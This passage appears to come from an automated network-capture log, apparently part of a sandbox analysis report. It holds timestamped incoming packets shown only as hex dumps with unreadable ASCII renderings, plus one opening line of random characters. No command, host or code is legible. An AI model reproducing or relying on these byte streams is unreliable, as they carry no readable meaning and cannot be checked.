Vr\q.l<4\kvtPFp!fFUjn,#\|1mQ8@XTF:kWVWoI?,12l<s=}iK\|H-r
2021-10-28 20:43:28 UTC	37	IN	Data Raw: 4a 44 fb 9e 02 0d a0 9b 52 25 84 6a 1f 81 4b bc e8 a1 f2 58 2d ce 91 7c eb eb 45 de 19 0e ba 7a 1b c5 36 88 7b fd e5 3a 0c 1d 11 0e da 6e 94 02 52 0b 75 df 3d 67 45 01 44 40 07 3f bb d6 08 60 dc 1f a4 c1 5a 45 77 23 a0 cb 36 94 3e b8 31 cb ed a7 a6 7d fe 58 fc 2f c0 fc 50 97 6d 10 09 27 ba d3 e3 4a 47 51 83 95 a3 e9 a9 60 2e 52 d7 ed 7e 2b bb 7b bf ca 19 65 0d 6c c0 61 30 8b 47 ba 16 cc f3 83 a8 5b 6b fc 17 6e f3 16 73 c8 0d 3c d4 8b 40 c3 57 d5 27 69 5f 4d ec 56 45 28 63 45 c1 af 20 17 ed 71 a2 79 4b 8c c6 40 7a 43 ca 2b f7 53 d2 b1 f8 23 39 99 a8 63 e5 f8 f1 e8 a6 66 72 d9 75 11 7f 8b 95 0e bc 9a a1 fb 5c ed 69 f5 83 0b 33 35 05 d8 be 36 ca f6 d3 5a a2 3c cb 37 ad 14 a7 e7 57 67 c3 48 63 00 8e e4 c4 cc f7 f2 a7 10 bc ea d6 ff 8b 85 54 5c f0 b9 b7 d2 74 Data Ascii: JDR%jKX-\|Ez6{:nRu=gED@?`ZEw#6>1}X/Pm'JGQ`.R~+{ela0G[kns<@W'i_MVE(cE qyK@zC+S#9cfru\i356Z<7WgHcT\t
2021-10-28 20:43:28 UTC	38	IN	Data Raw: 57 43 56 34 8f 52 ab 81 ff 2d a2 8d 3a f2 0f 69 66 d3 52 60 93 d5 1a ee 01 ed 0d f9 c0 db b2 53 2d 52 a1 3c ca 19 fa 7b d2 1c d4 a7 29 e6 a4 18 78 e1 14 c7 9c 1b ec a9 a9 3a 65 6a be d9 8a 04 49 b0 30 58 ba 5a b8 ea da 16 f7 b1 66 fe 77 ae b9 8f ca 7b 74 d3 86 c9 f1 ef 85 4f df 1e 83 34 17 8d 63 d9 aa dc 03 65 32 18 23 43 ad 54 a3 86 cd f6 7a ec 40 03 af 7b 00 c9 e7 2f e6 90 16 3a 9b 54 d4 a5 20 83 88 44 31 8b 8c a5 a9 09 1d 8d da 9d 07 5b 4b 1b ee aa 55 0d 59 9b 61 7c c8 10 3d 25 2a 54 d3 bd 81 29 31 49 20 e5 80 f9 b8 96 dc a9 4f fb 24 6b 39 db e2 e2 ed cf 29 18 ab d4 1f 84 3c bc 09 d3 33 77 21 10 0c 90 28 3a 30 76 8d 3f a0 d3 f8 ed 41 3b d3 40 7e 9f 7b 14 d8 95 fb da 05 14 23 2c 77 39 08 1f bd 29 d6 a7 df 9c ca c4 ae a8 0f 10 95 b6 70 56 95 e4 d6 df 07 Data Ascii: WCV4R-:ifR`S-R<{)x:ejI0XZfw{tO4ce2#CTz@{/:T D1[KUYa\|=%*T)1I O$k9)<3w!(:0v?A;@~{#,w9)pV
2021-10-28 20:43:28 UTC	40	IN	Data Raw: f7 a8 20 ce 6e c9 b4 3f 60 0c 5a 1a 70 90 27 6d c8 a3 12 4c 92 f8 13 2c 67 71 6d a5 1c 19 89 ac 48 bd 51 97 70 ea d7 e6 8e e0 ef e6 14 52 0e 85 a5 a5 be d0 3e c6 8c 86 ee 6b 3f e4 cc af 2f 37 1a fe 95 a1 cf 9f 37 cc 74 82 0c 14 a2 ef 9a c2 32 59 9e 7b e7 db f5 bb 47 ea 83 b8 2d ee 72 18 25 58 36 bc 72 fc 80 40 a4 b4 28 9f f4 e6 9a 59 4b 58 c8 fa e1 07 25 82 85 75 ab 2d d4 88 f1 d3 75 21 c3 7f cd 22 97 19 fc 3e b6 8d 46 3e 53 d4 fa df 08 e9 b3 ad 4c 65 7a b4 cc a4 23 8c e5 69 01 cc c6 8e 12 0d c8 82 f6 29 b3 67 81 4d ef 37 db c8 84 1d a0 19 63 89 7d ab 55 be a1 f0 75 59 03 dc 62 c3 c3 5a 90 28 6b 28 4b 60 bf 33 7d 04 ca 29 2d 30 09 83 95 09 1b 65 08 15 e7 09 bf 85 78 0e 7d b5 74 10 91 18 ca 13 85 b4 d7 da e1 12 63 3e 2a d2 35 11 ee 13 c4 38 2c 66 1b d3 c5 Data Ascii: n?`Zp'mL,gqmHQpR>k?/77t2Y{G-r%X6r@(YKX%u-u!">F>SLez#i)gM7c}UuYbZ(k(K`3})-0ex}tc>*58,f
2021-10-28 20:43:28 UTC	41	IN	Data Raw: 4a 5d 86 c4 3b d3 1f 72 e8 5e a0 21 3f 08 05 c6 12 5f 0c 1e 7b 86 d0 3c fa 31 95 36 23 13 65 9a 8c 56 04 c0 da 94 7d 13 a5 c4 ef 35 1a 25 86 2a 9a 1d 67 2f 03 44 33 74 07 fe 38 7d 70 38 26 05 2d db d8 ad d4 18 fa 29 8e b5 ec 8f 3f 2e 7b 55 e9 94 a0 62 4d 79 bd 5f 73 6f 53 aa 62 10 90 ff 22 76 fb bf 8e d6 56 cf a6 91 71 96 b7 88 8b 2f 3f cd 87 93 9e 39 b3 4b a3 0f fe 75 b1 91 95 68 12 32 5a 9c 31 48 3b 64 e8 57 e9 68 f8 79 85 4d 24 39 1a 9f 22 b2 22 d9 64 13 e3 5b 41 27 a8 a4 49 41 65 9d dc 08 24 ad 00 fc 6f 68 9d d4 d5 bc 16 1e b3 86 a9 0c f7 2f 85 84 3b 9f a0 62 9a a9 73 f7 48 f4 1b b0 3c fb 09 9c 95 ce 54 92 95 9b d0 d7 6c de d2 1e 7f b5 74 67 87 7d 73 af 44 fe 61 75 0e d3 ed 43 3c ec 03 12 89 dc 5d fd ba e4 fe 92 ae 04 2c 3f ee a1 e9 59 18 30 d1 86 a5 Data Ascii: J];r^!?_{<16#eV}5%*g/D3t8}p8&-)?.{UbMy_soSb"vVq/?9Kuh2Z1H;dWhyM$9""d[A'IAe$oh/;bsH<Tltg}sDauC<],?Y0
2021-10-28 20:43:28 UTC	42	IN	Data Raw: bb 5d 6b 03 8d 1b e4 73 56 37 ce 6a f0 8e a9 16 81 18 8d 39 48 9f c3 01 23 4b 52 ab 2f db fc 8c bf c8 8d 5f 92 3a fc 00 56 57 0d ca b2 41 35 cf d3 8e 95 dd fc 95 e7 2b 0d 46 6e 2c 4c 60 6c c4 52 ff 5f cb b1 a3 be ba 4d de b7 ac c4 25 13 8e 61 e0 2a bf cf 8d 61 aa fa 92 9c 74 ab 64 33 a7 2a f4 45 4c 6e 1e 42 6f fa ff b6 83 01 27 78 f6 a1 c2 2b 20 c1 25 54 93 c8 1a 7f bb 6d 23 20 c8 2b 93 7f 63 b4 e9 f9 f2 5f 5c d9 a5 81 13 83 43 51 2e 10 56 51 02 d9 20 c2 d7 89 55 ab 24 b7 8b 4d 1d 8a 98 4d 7a 0d e1 46 d1 23 9f 89 8e b2 02 76 0d d9 d3 d6 84 a0 28 27 0b 6c 28 a3 78 8a aa e1 3c 3e ce 4c 36 13 fd 67 11 cb 4f 23 e0 8a c7 cc 9d 40 33 8a 9f c1 bc 67 8a a6 93 a6 01 c7 09 65 94 54 a6 82 aa 11 cb ba d6 b6 40 ec 4c 9f 58 2b bd 92 f8 5b ca 80 d4 e0 05 8f 52 4a df e9 Data Ascii: ]ksV7j9H#KR/_:VWA5+Fn,L`lR_M%aatd3ELnBo'x+ %Tm# +c_\CQ.VQ U$MMzF#v('l(x<>L6gO#@3geT@LX+[RJ
2021-10-28 20:43:28 UTC	44	IN	Data Raw: 48 ed 60 b0 0f 05 d4 f2 00 71 5c 81 e3 5d 0c 2e 92 3d ea 63 51 fa 4e 04 89 48 f2 31 1b 69 c1 62 25 22 9b ee fa 68 2d d5 fe 7d f7 5a e5 52 e0 90 58 06 75 24 ee a5 fe b1 8e eb d8 c1 c6 24 4d bf 5e e1 05 6f c9 50 6f 97 69 01 b4 f2 fc b3 0c e7 e3 f7 16 d8 30 7e 5a 3e c1 cf 25 34 0d 89 5a e2 5d 30 04 39 9f d4 99 20 32 a5 fd 53 69 19 6a 9b 27 c2 dc 68 3e 7e 39 40 7e 6c 34 89 de a4 ac b5 82 5e b4 96 02 66 60 42 4e 41 df e2 ff f0 66 93 cd 03 db d4 02 62 28 cd e3 31 04 b9 da c7 fd dd 65 ed 4e 3a 23 7d 62 d7 5f 1d 7f 5f ff 31 76 de fd c0 e8 1f c3 95 d0 6a 6f 27 d3 b9 69 33 2f 77 9f 1d 90 39 1a 5b 54 04 0e c4 24 fd 07 09 74 e3 53 c9 c0 ec b5 f2 6e 48 d2 5e d7 2d f2 c1 b5 5b 4a 48 ab b7 b1 38 c2 62 53 61 f8 4b bd 8f d2 38 fc 9a f9 9c 01 cd 73 41 4b cb 1e f6 3b 5f be Data Ascii: H`q\].=cQNH1ib%"h-}ZRXu$$M^oPoi0~Z>%4Z]09 2Sij'h>~9@~l4^f`BNAfb(1eN:#}b__1vjo'i3/w9[T$tSnH^-[JH8bSaK8sAK;_
2021-10-28 20:43:28 UTC	45	IN	Data Raw: 16 ac 35 fb 4f 64 60 d4 d5 5f aa 21 ad 3e 3c db ee af 48 0e 52 8b 0f d8 7a 9d 46 75 1e 26 a6 a8 70 4e c5 81 a0 e7 0e f9 8f b2 65 b1 c8 81 04 52 1e 74 c6 55 dc 5a 53 0c 0d 59 cf 8d 1b 23 d5 35 8e 43 23 71 4c 27 87 39 dd c8 80 7b 6a ae ab 0b 26 88 46 9f 0a a2 79 bb a7 8c dd 62 8b df cf 48 64 ca 7f 87 47 a3 9d 4b b6 70 e5 4f 64 cf e3 51 73 18 2a fe 1b 61 c2 cf 3c d3 cd bf 8d a4 c9 2d d6 c2 1e a9 94 ab bc c1 1c 4a f4 fd 4e d8 fa 0e e4 ad 98 3d d0 1b f7 cf d1 e5 39 3e da a0 dd 8d 99 ce 80 36 01 5e b9 83 98 b0 c8 68 39 7d 8a ba e5 71 93 6f 26 b8 3b ec 81 5e 59 29 75 4d a2 85 97 51 d7 a4 3f 15 7c 9d d3 c7 c1 67 0a ff 94 25 2a 48 30 c1 e1 5c 9b 76 cc 45 a0 e2 e7 5e 24 f2 3c df 66 7d 86 91 02 b2 2a da 65 9b 8b 0f 1c 45 62 bf 7f 20 42 da f3 5d fe 6b aa da 78 69 8d Data Ascii: 5Od`_!><HRzFu&pNeRtUZSY#5C#qL'9{j&FybHdGKpOdQsa<-JN=9>6^h9}qo&;^Y)uMQ?\|g%H0\vE^$<f}*eEb B]kxi
2021-10-28 20:43:28 UTC	46	IN	Data Raw: 31 8b fb be d2 21 f3 c3 8d 1c 35 de f2 17 63 09 1d 7f 32 d1 5f 9f 20 64 f8 43 41 bc 98 b2 f5 de d5 9e f3 60 96 ee 28 59 3a 6e 52 36 3b ce 71 b5 ca 4a b3 f1 e9 24 0e 84 e9 9e 77 93 26 44 28 bd 2e 8c d6 00 b4 0b 18 70 db cf b8 69 1e 38 e0 c1 2e c0 91 ae 1a 05 0d a6 61 17 dd f4 aa 6a 64 ae fa a3 2e 8e ca ef 0e 62 56 0e 6e dc 42 23 d2 67 fc f1 50 31 dc 87 4d 58 00 0b ac d0 19 e6 c8 d4 44 5c 56 13 7d 25 30 de e4 5d f4 67 3f 92 c6 11 f7 76 bf 8b c4 b5 44 bf 2d 7c 4e dc 6b 19 97 d7 6d 3c a0 12 88 35 14 b6 f6 96 b8 3a 4d 6f be 94 aa f5 48 41 94 f4 68 10 cf ea 48 20 27 52 e2 64 88 df 5a d5 48 bb cc ee 89 32 d8 2b 7c 90 c6 4e cf 3d 94 89 ba 6e 86 a8 51 a4 6e 15 56 bf ad e9 95 d5 f6 2b bc 1d 8a 6d 7e 5c 67 60 fd d3 05 74 14 ed 77 d5 26 99 a4 e3 df 1d 94 e2 f6 75 2f Data Ascii: 1!5c2_ dCA`(Y:nR6;qJ$w&D(.pi8.ajd.bVnB#gP1MXD\V}%0]g?vD-\|Nkm<5:MoHAhH 'RdZH2+\|N=nQnV+m~\g`tw&u/
2021-10-28 20:43:28 UTC	48	IN	Data Raw: ad f8 55 88 2c 33 e9 28 cd 79 b6 c5 36 d0 b0 b8 96 1b dc 28 5a a2 4a 75 33 1e 02 5d 3d 95 8f a1 6e ae a0 33 08 d4 82 b2 32 ea 97 05 cb 31 d6 e0 66 ac 97 ac 95 5a 79 4e 44 9a c7 38 f6 b8 70 08 2f 02 4d 61 f8 b3 63 a4 fc 3d cd d3 67 da 78 e5 4a 6a 3f 23 4f 12 13 b3 6b f8 cf 03 58 25 d6 ed 09 2d 02 92 95 b0 38 67 8e f0 69 b2 39 6f 2a 49 a4 70 3a 94 47 98 01 ff 96 7a 79 88 13 59 bf 10 55 5b e1 ba 48 25 c2 0f dd 14 e8 1b d9 54 01 7e a0 fb 00 3b 70 b2 7b ea e8 53 b9 27 6f df 4d 4e 62 1d 2c cb d3 a9 a1 4a bc d1 5c cc c5 a7 a4 73 c5 cb 69 a1 05 97 f6 f0 77 1b fd ae ce 16 a1 20 ef da 76 ff 41 a5 01 d4 43 d7 90 6c e0 4c d8 49 1e 10 10 98 ce 91 12 2d 49 0a ba 3c 96 a8 25 9f b0 9e a1 dc 38 c8 73 3d 75 c2 95 30 9a 70 fa 26 2d c0 1c e1 00 20 d1 d0 b1 a3 13 35 d2 a1 9b Data Ascii: U,3(y6(ZJu3]=n321fZyND8p/Mac=gxJj?#OkX%-8gi9o*Ip:GzyYU[H%T~;p{S'oMNb,J\siw vAClLI-I<%8s=u0p&- 5
2021-10-28 20:43:28 UTC	49	IN	Data Raw: 67 fc d1 7e b9 24 b5 13 35 4a cf 12 22 85 3b 31 c2 28 76 f7 0e bd 3a 32 97 33 9a 2b 40 57 3d f0 76 78 20 4b a2 e0 bc d6 1d 76 68 da 60 59 dd b4 ab f5 63 07 8a 35 59 6f 3e 4d c4 d6 4a 69 d5 98 e8 4a cd 6d e5 71 cc ab 38 b8 73 6c 1e 2b 26 cf e1 23 b4 81 7f 33 6e dd e9 f2 e2 39 0b 70 8c 41 3d 0a 5b 41 5f 16 dd 61 52 81 33 09 b2 d8 f3 bf e0 25 e5 68 5e c7 83 c1 c9 ee 83 22 31 50 1c 24 e1 54 2d aa a5 24 db 71 02 27 7f 33 f6 0f cd 4d c7 90 1a 7c 0c 52 b9 4c e9 09 f9 a2 fb 34 a3 dc 8c 29 a3 87 e8 e9 5c 3c 0a 47 49 9d 37 e1 ef 6a c9 b3 d3 fc f7 49 3d 5b 88 d3 30 26 4c 51 7c c7 0f 24 1e cf c1 25 5a 22 66 c9 2e 6d 7c 9b 09 76 a3 3b ea 02 24 9c 1d 00 65 a5 fc 5a c8 a1 79 3c a9 4c 2a a4 53 51 fb 2c 4c 6c 5d ac 44 43 49 1a 3f 7b 08 d0 25 c8 6f ac cc 7e 07 7d de 3f 4f Data Ascii: g~$5J";1(v:23+@W=vx Kvh`Yc5Yo>MJiJmq8sl+&#3n9pA=[A_aR3%h^"1P$T-$q'3M\|RL4)\<GI7jI=[0&LQ\|$%Z"f.m\|v;$eZy<L*SQ,Ll]DCI?{%o~}?O
2021-10-28 20:43:28 UTC	50	IN	Data Raw: 77 c8 19 e8 2d 42 f9 af 7a 27 67 77 60 9a 48 3d a5 e7 01 20 a2 e6 05 5d 71 1e d1 db 40 6b b9 0b 5c 07 60 92 a7 f8 9a b4 21 25 e3 0d 84 f1 76 86 cf c5 95 f1 a5 75 23 17 cb ec 60 90 19 18 ce 7d df bd 53 61 67 ca 4c 12 82 c2 4e 24 fd 26 e8 08 91 fd 50 60 d6 9d ac 33 f7 a2 e1 11 43 16 45 58 d1 46 14 2c bc 83 69 24 93 7f 1a 83 5a 83 29 c8 f9 ee e9 40 aa 17 aa 05 30 76 0c 2c 83 23 51 b7 81 52 fd 87 e8 08 7e 85 4b 23 46 94 42 8e 8d 85 0f 12 71 01 91 fa 58 1e 1e b8 57 8d 94 29 fd 97 32 0f a8 75 b2 62 c0 9c 9f 5e 27 10 aa ec d1 12 85 08 5f 55 40 88 3f 3e bb f5 f9 d3 ca 70 be a3 a7 e4 59 44 be 57 d5 1d 8d d2 3d b1 27 dc 3e e9 19 15 84 7c ee 57 78 f3 d4 aa cf 1f 49 11 d5 07 77 38 3e 25 19 91 e5 dd dc 99 67 3b 93 0e 7e bb e7 7d 53 05 fb 18 09 cb fa cb 8d 72 6e a5 37 Data Ascii: w-Bz'gw`H= ]q@k\`!%vu#`}SagLN$&P`3CEXF,i$Z)@0v,#QR~K#FBqXW)2ub^'_U@?>pYDW='>\|WxIw8>%g;~}Srn7
2021-10-28 20:43:28 UTC	52	IN	Data Raw: f4 67 24 f6 ba fe 30 41 cb a3 ff 7a 08 6d c4 90 2a 3a 69 7e b3 56 c8 8f 75 20 1f cc 99 38 70 a0 a9 8c c0 c6 2e 02 49 fc 82 ea bf 71 c2 70 94 9c d1 bc 3d 62 01 a0 59 f3 7c 70 98 22 7a 46 ce ad bc a7 f5 ec 52 88 d1 3f 42 9d af 8f dc ee 7f 3b fd aa 3f a4 1c d8 9f e0 8c 9a 55 6e 2f 82 c5 46 71 56 6d 2d 18 b3 df 5b 57 fc 96 62 19 f3 21 ed 9b 01 cc e7 c0 1c b5 13 18 9e e8 9e 39 33 31 ba 96 77 6a 3f 82 6e c4 78 59 9e 47 d1 b1 ac e5 38 34 c9 81 32 10 77 40 c3 a9 a1 1d 11 59 1d 79 9e 69 2a ea 4b ee 5f ce 79 4c 30 86 f5 01 bb 49 3a 0a 66 8a 24 04 0d 24 e1 5c c9 92 8e d5 61 72 98 ef 1b cc b2 c6 f1 71 dd 1b 02 2f b9 83 c8 f6 fc b4 b2 03 0c 2d 32 53 ea de c6 cf 23 78 7e b5 16 17 af 17 4b 58 25 19 67 a0 d5 b8 ff 00 d5 6e 82 87 24 48 c2 1f 76 4b 21 93 0d 71 0f ba 2d 0b Data Ascii: g$0Azm:i~Vu 8p.Iqp=bY\|p"zFR?B;?Un/FqVm-[Wb!931wj?nxYG842w@YyiK_yL0I:f$$\arq/-2S#x~KX%gn$HvK!q-
2021-10-28 20:43:28 UTC	53	IN	Data Raw: 5d b2 f3 74 d2 f8 dd 1b f1 af 56 3e 53 8a 6b da 27 b8 d7 22 c2 5c 2c 51 33 a1 c8 ae df b1 d1 be 35 93 0e f9 51 43 e6 07 b1 db e3 6c b5 42 40 31 39 27 35 5d 8a fd 77 74 7e e1 6f 7c 8a 80 98 6e 2f 45 ca 0e 8b 88 52 5a f7 fd ab 77 0c 63 25 85 ac d5 7f 54 d5 9f eb f1 7a b1 71 be 90 7f 2c 27 88 73 0d ee f1 4c 79 fb a6 e3 27 1a 86 82 bd 09 21 6d 2e 3b 8e 60 7e 74 4c a6 6a 0b 17 98 ae a9 8f 48 91 5b 5b d7 b1 c5 17 45 43 12 a9 d7 c9 d6 17 4b 6d 77 b1 7a 8b 3c 7d 3a 85 91 99 14 0a 84 5f 61 d6 c0 97 57 de 8a 68 12 77 2b d2 83 22 30 12 42 47 d2 2e 90 08 9c b6 af 40 b0 e4 88 eb 66 98 30 92 38 fb cb c9 a1 a4 d9 67 c0 69 20 dd 32 19 58 37 af 25 a0 9a aa 3a 6d 9d bb ba e3 b0 3c 41 fe bd 70 ed 60 20 b2 88 43 02 a4 17 65 b3 15 a7 b9 0a df 21 ec 89 31 b3 40 e3 ad 3e 65 24 Data Ascii: ]tV>Sk'"\,Q35QClB@19'5]wt~o\|n/ERZwc%Tzq,'sLy'!m.;`~tLjH[[ECKmwz<}:_aWhw+"0BG.@f08gi 2X7%:m<Ap` Ce!1@>e$
2021-10-28 20:43:28 UTC	54	IN	Data Raw: 30 84 b2 47 8a 34 61 31 fa c1 db 82 8d f5 61 c1 7a 67 de 6d cc 7c e3 4e 26 d0 9e 6d 26 90 0c 61 0b f7 4e 2f 9e 93 05 60 30 0e 04 b5 f9 c1 56 c0 77 20 1f 2c 64 ca a0 d9 9c b4 ba 3f fd b9 14 be bf f6 2b 9a 96 77 51 79 1a 7b d3 9d c9 90 1f 8d f7 a1 21 78 ca 9f 53 13 af ab 49 d8 61 45 d7 43 ac 5d 47 e2 2d 18 3c 6b 65 12 1d d2 c4 96 2f 1d 12 34 0f 4d c4 60 44 64 52 86 81 48 24 f1 1a f5 74 8e d1 e4 6f 68 96 5f 9b 60 93 55 9d 80 75 a5 b4 b5 98 f0 03 12 a5 10 fd d6 bc c5 ca a7 2f 62 e0 eb dd 1b 39 12 78 6a c0 52 6b fd 3f 70 9b 4a e1 6f dc f9 cb c8 0a c0 f5 91 e1 76 8f f9 7c e1 de 57 be 1a b0 ac 81 4c 5f 5e 0d 63 1a 85 6a 72 80 9a 3e 1b 23 37 a9 85 99 e6 19 81 e9 a2 b5 7a f3 f0 92 47 ad b8 d6 11 59 1b 66 59 07 e0 46 9c 58 b3 5f 93 36 fc 9b a2 a1 92 3e 39 45 c4 8a Data Ascii: 0G4a1azgm\|N&m&aN/`0Vw ,d?+wQy{!xSIaEC]G-<ke/4M`DdRH$toh_`Uu/b9xjRk?pJov\|WL_^cjr>#7zGYfYFX_6>9E
2021-10-28 20:43:28 UTC	58	IN	Data Raw: ac 17 28 5b 02 8b 2b ca 34 e7 3e ad aa e7 9a 66 27 20 ec c0 69 b5 c4 72 e7 24 69 62 6c 19 c0 bc e0 3c 93 61 b6 0d 6f ab 17 48 56 88 bf 5d 57 4a a8 81 9f 21 b3 77 6c 9b 7b 09 b1 a6 bd 62 5f c5 c5 4c 90 70 27 03 b0 bf 79 56 bb bc 81 0b 19 17 94 7f a2 b7 24 f0 2e 0a cf 4c 99 4a 1c 5c 20 25 c9 c0 62 70 bb 8b 72 28 b2 f3 db e6 a5 e4 e6 e3 3d f1 76 98 1d f3 93 9a 9e 10 db 7f e3 80 07 26 12 a3 46 66 70 6e 30 94 ba 4b 6e 38 dc 5e f8 5d 5d 72 35 de 60 90 c6 b1 48 38 41 89 7f 8f 91 6f 9d 1c bc 95 1e 10 f9 2f 88 8e 0b bd a4 fe 9b e2 77 b9 e2 27 36 a1 86 fc f7 62 11 87 cf e8 f5 cf ab 17 e4 f5 fd 8f 22 04 e4 2b 5f ff 87 3a fa 5a fd 82 61 94 de 48 b5 fd 74 15 ab dd ec f7 dc a3 6d d5 10 83 0b eb 6b 2b 28 99 ff 83 f1 93 82 34 7c a2 df a3 3d 38 a2 6d 4c 62 1f 81 c4 3f 9b Data Ascii: ([+4>f' ir$ibl<aoHV]WJ!wl{b_Lp'yV$.LJ\ %bpr(=v&Ffpn0Kn8^]]r5`H8Ao/w'6b"+_:ZaHtmk+(4\|=8mLb?
2021-10-28 20:43:28 UTC	62	IN	Data Raw: 62 f3 21 f3 05 f7 e2 36 d8 40 85 a4 44 56 44 c5 5a 3c 67 03 e1 db b3 6f 43 ee d4 f0 14 e5 6d bb 07 06 b5 09 b5 cf 29 3b cd 7f c3 6f b2 69 12 f8 d2 e5 15 dd 3d 90 b4 d4 11 d4 2c dc 89 8f 59 33 25 fe a1 ec 08 ae de 3d 94 2e ac 88 75 43 be 60 d8 fb 74 58 97 4b 4b e0 88 d2 ff 60 63 c3 2a d9 4f 14 37 65 d2 a8 ad 45 ea 1b 22 d4 8f b2 17 9b cd 78 57 d1 11 f0 26 70 30 c2 21 8b cc 52 a7 4f b9 32 72 18 91 bb 42 58 ca 7d 8d 40 3f fb 78 ab d3 1c f2 09 d1 e9 39 e1 38 91 e9 f2 05 80 0a 61 c7 49 03 38 52 4d a5 7f 13 f2 e0 72 6a b7 84 ad b5 6d 6e c4 39 20 1b 89 e5 b4 8a 9f 3c e8 ed 4a 59 b6 c7 c6 aa 4c d1 15 e6 bb 01 2d 5d bf 94 0a f7 56 bb b1 4b f8 bd 9d 03 a2 2f d9 4a fb 3b 5c 7f ca 96 f4 04 d9 fd 13 02 c2 46 64 93 37 c9 79 bd d8 7f 5d 0f 60 45 b3 ba 12 23 ac bd b0 87 Data Ascii: b!6@DVDZ<goCm);oi=,Y3%=.uC`tXKK`c*O7eE"xW&p0!RO2rBX}@?x98aI8RMrjmn9 <JYL-]VK/J;\Fd7y]`E#
2021-10-28 20:43:28 UTC	63	IN	Data Raw: f3 f2 64 8f cd 37 ef 10 c2 5d e2 12 3e ab 59 3b 8e 0d db aa d7 b6 36 4e b6 b9 27 e0 7b 6a 6d c5 a8 d8 c1 49 5e 42 14 ee 7a 33 45 ec ef ea 65 b0 06 39 2a 3a 01 e7 b3 2a 2b ec d0 07 7a 36 16 11 bb ad d4 cd 41 49 81 1c 63 f2 ed 22 37 18 ff e9 c6 37 41 79 90 0e 1f d2 6d b2 b0 30 ba 79 de 43 e7 6a 32 80 d4 0e 97 19 25 6f e1 0b c8 4a 6e 06 05 55 47 26 e1 22 ae 09 26 04 3a 9f fa 42 66 28 c7 0f 36 1d 45 21 06 a8 1d eb 4f 28 3e f2 80 b0 70 3f 69 f4 86 bf 63 0c 86 68 2b dc 25 dc 25 9a 74 5a 2f 01 b9 21 f4 23 4d fb 8c d0 cb 12 b9 1f 09 9e 3c c0 b9 15 7a 30 71 3b 27 a9 c0 a5 ba ce af da 71 03 cb 63 f2 18 99 04 98 76 a5 69 74 1e b8 a6 9d 3a 53 2b 47 4c c9 64 23 f9 8f 19 57 06 75 d9 07 b2 30 cc 26 d8 1d 0c 80 8f 3f 70 c2 b1 57 95 cd b7 1a 94 bb 15 7b f3 51 73 77 01 3c Data Ascii: d7]>Y;6N'{jmI^Bz3Ee9:+z6AIc"77Aym0yCj2%oJnUG&"&:Bf(6E!O(>p?ich+%%tZ/!#M<z0q;'qcvit:S+GLd#Wu0&?pW{Qsw<
2021-10-28 20:43:28 UTC	68	IN	Data Raw: 0c fb 47 26 ae b2 e2 75 37 4f ee 31 13 59 3a 19 9b 77 2f 16 17 1d be b9 86 cc 72 2e 85 6e 83 1a d7 60 ad d3 cf 74 b9 a5 2c e1 72 6e b2 56 8d ec d5 e7 83 2d c3 32 c3 a6 0c d6 b5 73 41 71 c8 af 6b d0 01 46 4e e0 da 15 f9 8e 33 95 18 b9 2e 0f e9 b1 df fa 53 65 36 4a 12 e1 62 71 5f c4 30 15 70 30 de 2b e2 15 1f 52 ae 72 e3 23 3c 93 f5 be 2d 90 40 8a b5 49 80 fc 35 9d 69 53 47 f2 6e 63 a3 20 3d fa d2 f5 9b 2a ce 9d 7a e2 61 96 de 9b 7c eb 96 ef cf be b2 09 d6 e7 ef 31 e9 35 43 12 ea df 86 5f 2a 5a 2e 07 55 ba bc f6 83 4b c1 40 d5 0c ec f0 8e ff 1f 11 b5 94 dd 58 14 0d 6e ee 2f dd 98 4e 4e 40 78 08 f1 7a 42 2e ac 9f 93 4c 85 dc 6b aa a2 2a 8f 2e f6 1d e9 23 d1 e3 96 19 3e 84 20 2e e7 f1 3d ae 0d eb a0 ca 60 3f 71 00 5f 62 2d 9f 36 03 79 30 7d 13 3d cb 57 42 e9 Data Ascii: G&u7O1Y:w/r.n`t,rnV-2sAqkFN3.Se6Jbq_0p0+Rr#<-@I5iSGnc =za\|15C_Z.UK@Xn/NN@xzB.Lk*.#> .=`?q_b-6y0}=WB
2021-10-28 20:43:28 UTC	72	IN	Data Raw: a5 f6 a4 7b 16 0e 0f ac 75 31 a9 6a 16 3d de c8 08 9f da 3b f6 27 1c 03 25 2e 52 81 17 89 0e f4 6a 43 e2 73 61 4f 39 d9 ff 01 f2 17 2f 2a f3 fb 11 a9 97 ab 8f fe 0a 7a a3 db cf 84 8e 2f d9 cb 42 dc a9 1f f9 26 a2 93 7b 6a b7 6b ae d6 4c 7e fb 58 75 bb d1 39 4f 84 d4 31 66 f9 c3 76 c4 78 09 cd 62 04 43 56 c8 86 52 43 7e d9 00 7b 2f 29 c1 4a cd c3 0d fc f7 42 6a 35 0a d7 0c 72 0a 5c ad ed 4b 51 0d f0 0f 38 ef 9d 50 ac f5 ae 96 96 c2 41 7b 80 aa 17 ae 27 ea 90 2b 30 2c 47 32 a5 fc 71 41 fb a6 a1 03 d6 bb ff 31 f4 01 54 6d db 6f 1d a6 b1 ac c8 9b 79 f8 23 80 a3 1c c7 7f 1c e5 e7 82 99 00 35 d3 96 ae 32 a6 b4 ad 35 e2 37 7d 25 a3 d8 63 c5 97 73 86 01 2e a5 74 5a d7 d3 2c b3 d7 a5 f3 71 00 4c 3a a6 7c e1 5f 8d 7a 73 ed e4 90 fb 15 59 e8 c5 11 94 58 da ac 1f b2 Data Ascii: {u1j=;'%.RjCsaO9/*z/B&{jkL~Xu9O1fvxbCVRC~{/)JBj5r\KQ8PA{'+0,G2qA1Tmoy#5257}%cs.tZ,qL:\|_zsYX
2021-10-28 20:43:28 UTC	76	IN	Data Raw: e8 a4 72 3e 5d fa 9d 3a 5e e7 dc 4b 4a 98 06 d9 ad 5f cc d3 5b b9 ac ed e0 99 4e 90 f2 2f c1 a4 87 1c 4a 89 5a 3d 01 63 3f 0e 53 fd a0 15 ec 82 5c 76 dc 48 4f 88 46 3e 27 41 ec ae ee 1b 04 76 3e be 07 5c 01 94 c3 63 81 80 f5 d2 67 c0 0c 7b e6 fd 57 90 b2 1c 75 48 87 df 77 a8 24 58 15 60 bb ae 68 3e 08 c8 f4 11 b9 9b 26 50 79 4a 01 bc 83 b5 28 c1 48 44 9b 3b b0 bd bb 7a 86 af 66 ed 57 a1 22 18 39 9a 5f 78 d2 a2 e9 31 53 d3 4a 8d 1f 62 96 83 c3 b7 91 ee 0b 43 c6 fe 2e e5 db 53 e3 2b 88 52 a8 99 e9 98 1f c6 7f 8e 83 73 45 3b ca 50 aa eb 15 3d d1 71 ab bb f4 05 a6 a9 be 83 ab 80 7f aa 21 2c d4 57 7b 2c a1 a9 62 75 0e 1a c5 48 b8 ca 96 d6 e0 2e b3 02 5d 5f 8f 